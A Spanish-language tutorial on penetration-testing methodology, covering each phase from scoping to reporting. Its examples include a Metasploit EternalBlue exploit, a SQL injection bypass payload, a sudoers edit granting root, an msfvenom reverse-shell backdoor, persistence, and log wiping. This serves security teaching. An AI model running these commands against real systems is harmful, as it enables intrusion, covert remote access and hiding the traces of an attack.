Tabla de Contenidos
Metodologías de Pentesting
Las metodologías de pentesting proporcionan un marco estructurado para realizar pruebas de penetración de manera sistemática y efectiva. Estas metodologías aseguran que se cubran todas las áreas críticas y que las pruebas sean reproducibles y consistentes. A continuación, se detallan las fases principales de una prueba de penetración, junto con ejemplos prácticos y recursos útiles.
Planificación y Preparación
Conceptos Clave
- Definición del Alcance: Determinar los sistemas, redes y aplicaciones que serán evaluados.
- Aprobación y Autorización: Obtener permiso explícito de los propietarios de los sistemas para llevar a cabo las pruebas.
- Identificación de Objetivos y Recursos: Definir objetivos específicos y asignar los recursos necesarios para las pruebas.
Ejemplos y Tareas Comunes
- Creación de un Documento de Alcance:
# Alcance de la Prueba de Penetración **Objetivos:** * Identificar vulnerabilidades en la red interna. * Evaluar la seguridad de la aplicación web principal. **Sistemas Incluidos:** * Servidores: 192.168.1.10, 192.168.1.20 * Aplicación Web: https://app.ejemplo.com **Exclusiones:** * Sistemas de desarrollo y prueba.
Recursos
Recolección de Información (Reconocimiento)
Conceptos Clave
- Reconocimiento Pasivo: Obtener información sobre el objetivo sin interactuar directamente con él.
- Reconocimiento Activo: Interactuar directamente con el objetivo para obtener más detalles específicos.
Ejemplos y Tareas Comunes
- Reconocimiento Pasivo:
import requests from bs4 import BeautifulSoup url = 'https://www.ejemplo.com' response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') for enlace in soup.find_all('a'): print(enlace.get('href'))
- Reconocimiento Activo con Nmap:
nmap -sS -p 1-65535 -T4 192.168.1.10
Recursos
Escaneo y Enumeración
Conceptos Clave
- Escaneo de Puertos: Identificación de puertos abiertos y servicios en ejecución.
- Enumeración de Servicios: Obtención de detalles sobre los servicios identificados, como versiones de software y configuraciones.
Ejemplos y Tareas Comunes
- Escaneo de Puertos con Nmap:
nmap -A 192.168.1.10
- Enumeración de Servicios con NSE Scripts:
nmap -sV --script=banner,ftp-anon,ssl-cert 192.168.1.10
Recursos
Explotación
Conceptos Clave
- Explotación de Vulnerabilidades: Uso de técnicas y herramientas para aprovechar vulnerabilidades identificadas.
- Pruebas de Explotación: Verificar si las vulnerabilidades pueden ser explotadas para comprometer el sistema.
Ejemplos y Tareas Comunes
- Explotación de Vulnerabilidades con Metasploit:
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 exploit
- Explotación de SQL Injection:
import requests url = 'https://www.ejemplo.com/login' payload = {"username": "admin' OR '1'='1", "password": "password"} response = requests.post(url, data=payload) if "Bienvenido" in response.text: print("Vulnerable a SQL Injection")
Recursos
Escalada de Privilegios
Conceptos Clave
- Escalada Vertical: Obtener niveles de acceso más altos en el sistema objetivo.
- Escalada Horizontal: Acceder a cuentas de otros usuarios con permisos similares.
Ejemplos y Tareas Comunes
- Uso de
sudopara Escalada de Privilegios:
sudo -l
- Explotación de Sudoers Mal Configurado:
echo 'username ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/username sudo su -
Recursos
Mantener el Acceso
Conceptos Clave
- Backdoors: Instalación de puertas traseras para mantener acceso al sistema comprometido.
- Persistencia: Técnicas para asegurar que el acceso se mantenga incluso después de reinicios y actualizaciones.
Ejemplos y Tareas Comunes
- Instalación de una Puerta Trasera con Metasploit:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > backdoor.exe
- Configurar Persistencia en Meterpreter:
meterpreter > run persistence -X -i 10 -p 4444 -r 192.168.1.5
Recursos
Cobertura de Huellas
Conceptos Clave
- Borrado de Logs: Eliminación o manipulación de registros para ocultar actividad.
- Ocultación de Actividad: Uso de técnicas para evitar la detección durante y después de la explotación.
Ejemplos y Tareas Comunes
- Borrado de Logs en Linux:
echo "" > /var/log/auth.log echo "" > /var/log/syslog
- Manipulación de Timestamps:
touch -t 202307151230.30 archivo_modificado
Recursos
Reporte y Documentación
Conceptos Clave
- Documentación de Resultados: Registro detallado de todas las vulnerabilidades y explotaciones realizadas.
- Recomendaciones de Mitigación: Sugerencias para corregir las vulnerabilidades identificadas.
Ejemplos y Tareas Comunes
- Ejemplo de Estructura de Reporte:
# Reporte de Pruebas de Penetración ## Resumen Ejecutivo Breve resumen de los hallazgos y recomendaciones. ## Detalles de la Prueba * **Fecha de Prueba:** DD/MM/AAAA * **Sistemas Evaluados:** Detalle de los sistemas evaluados. ## Hallazgos ### Vulnerabilidad 1: Descripción * **Impacto:** Alto/Medio/Bajo * **Recomendaciones:** Pasos para mitigar. ### Vulnerabilidad 2: Descripción * **Impacto:** Alto/Medio/Bajo * **Recomendaciones:** Pasos para mitigar.
Recursos
Conclusión
Las metodologías de pentesting proporcionan un marco estructurado para realizar pruebas de penetración de manera sistemática y efectiva. A través de las fases de planificación, recolección de información, escaneo, explotación, escalada de privilegios, mantenimiento de acceso, cobertura de huellas y reporte, los profesionales de la seguridad pueden identificar y mitigar vulnerabilidades en los sistemas y redes. Los recursos proporcionados ofrecen guías detalladas para profundizar en cada uno de estos aspectos y mejorar tus habilidades en pentesting.
Recursos Adicionales
- OWASP Testing Guide (OWASP)